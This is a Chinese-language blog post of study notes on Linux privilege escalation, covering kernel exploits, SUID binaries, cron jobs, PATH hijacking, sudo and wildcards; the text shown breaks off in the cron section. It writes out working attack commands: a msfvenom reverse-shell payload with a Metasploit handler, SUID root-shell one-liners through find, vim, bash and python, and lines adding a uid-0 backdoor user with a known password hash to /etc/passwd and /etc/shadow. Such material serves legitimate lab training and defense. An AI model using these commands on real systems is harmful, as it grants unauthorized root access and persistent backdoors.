【Web】超级详细的Linux权限提升一站式笔记

CSDN 2024-08-11 11:03:02 阅读 87

一、Linux内核提权

提权原理

提权环境

提权复现

二、SUID提权

SUID介绍

设置SUID

SUID提权原理

查找SUID文件

提权介绍

find提权

bash提权

vim提权

python提权

三、计划任务提权

提权原理

提权环境

提权步骤

四、环境变量劫持提权

提权原理

提权环境

提权实验

五、SUDO提权

提权原理

提权环境

提权复现

六、利用通配符(WS)进行提权

提权原理

提权环境

提权复现

七、破解明文密码提权

提权原理

提权环境

提权复现

一、Linux内核提权

提权原理

内核提权是利用Linux内核的漏洞进行提权的。内核漏洞进行提权一般包括三个环节：

1、对目标系统进行信息收集，获取到系统内核信息以及版本信息；

2、根据内核版本获取其对应的漏洞以及EXP；

3、使用找到的EXP对目标系统发起攻击，完成提权操作

查看Linux操作系统的内核版本和相关信息

<code>cat /etc/issue 查看ubuntu或者centos的版本

cat /etc/*-release 查看centos版本

uname -a 查看系统全部信息

uname -r 查看内核版本

EXP怎么找呢，可以是用kali去寻找，kali中自带searchsploit命令可以查找EXP

输入 searchsploit -m 50808.c 就会自动复制该文件到当前目录

去互联网搜索该脚本的用法和相关的文档

提权环境

本次实验使用Ubuntu 20.04,内核版本是5.10版本的

提权复现

使用MSF上线机器

<code>msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f

elf > mshell.elf

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.41.211

set lport 8888

run

查看操作系统

cat /etc/issue

cat /etc/*-release

查看可以利用的内核版本提权漏洞

<code>searchsploit linux 5.10.10

将脚本进行复制并且只用GCC进行编译，或者使用百度搜索相关的文档进行使用

二、SUID提权

SUID介绍

SUID是一种特殊权限，设置了suid的程序文件，在用户执行该程序时，用户的权限是该程序文件属主的权限，例如程序文件的属主是root，那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似，只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置，它就是设置了suid权限的

注意以下几点：

1. 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.

2. 命令执行者要对该程序文件拥有执行(x)权限.

3. 命令执行者在执行该程序时获得该程序文件属主的身份.

4. SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

设置SUID

<code>chmod u+s filename 设置SUID位

chmod u-s filename 去掉SUID设置

SUID提权原理

原理：利用某些二进制文件设置了SUID权限，从而用root权限执行系统命令

常见的可以用来提权的命令如下：

nmap

vim

find

bash

more

less

nano

cp

awk

mv

查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

提权介绍

find提权

介绍

find比较常用,find用来在系统中查找文件。同时，它也有执行命令的能力。因此，如果配置为使用

SUID权限运行，则可以通过find执行的命令都将以root身份去运行

步骤

1.查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

2.利用find提权

<code>touch anyfile #必须要有这个文件

find anyfile -exec whoami \;

find . -exec /bin/sh -p \; -quit

bash提权

介绍

bash命令是用来打开一个shell。同时它也有执行命令的能力。因此，如果配置为使用SUID权限运行，则可以通过bash执行的命令都将以root身份去运行

步骤

1.查找SUID文件

<code>find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

2.利用bash提权

<code>bash -p

vim提权

介绍

利用vim提权的思路是修改/etc/passwd文件和/etc/shadow，为自己添加一个有root权限的用户

步骤

1.查找SUID文件

<code>find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

2.利用vim提权

第一种方式，利用vim添加账号

<code>vim /etc/passwd 添加特权用户

添加：bob:x:0:0::/home/bob:/bin/bash

vim /etc/shadow 添加特权用户

bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456

第二种，利用vim打开交互shell

vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

python提权

<code>python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

三、计划任务提权

提权原理

linux计划任务提权是因为权限配置不当，计划任务以root权限运行，低权限的用户可以修改计划任务的文件，从而被攻击者利用，导致提权，Linux计划任务命令如下

crontab -e 编辑计划任务

crontab -l 查看计划任务

crontab -r 删除目前的crontab

计划任务的文件夹在 /etc/cron*下

计划任务的格式

<code>分时日月周用户命令

假如root用户设置了一个计划任务，但是权限没有设置好，比如777权限或者SUID权限之类的,查找命令如下

<code>find / -user root -perm -4000 -print 2>/dev/null 查找SUID文件

find / -perm 777 -print 2>/dev/null 查找777文件

linux文件权第一部分是该文件的拥有者所拥有的权限，第二部分是该文件所在用户组的用户所拥有的权限，最后一部分是其他用户所拥有的权限

提权环境

先准备一个SUID文件或者权限为xx7的文件，让低权限的用户可以执行文件的修改，在这里我们我们准备一个sh文件或者python文件都可以，我们写一个linux运维脚本，来监控当前电脑的运行参数

function bash_os() {

# "系统基础信息"

#内核信息

kernel=$(uname -r)

#操作系统版本

release=$(cat /etc/redhat-release)

#主机名称

hostname=$HOSTNAME

#当前时间及运行时间

dateload=$(uptime | awk -F "," '{print $1}')

# 当前登录用户数

users=$(uptime | awk -F "," '{print $2}')

echo -e "\n\033[32m############## 系统基础信息 #######\033[0m\n" >>

/tmp/bash_os.txt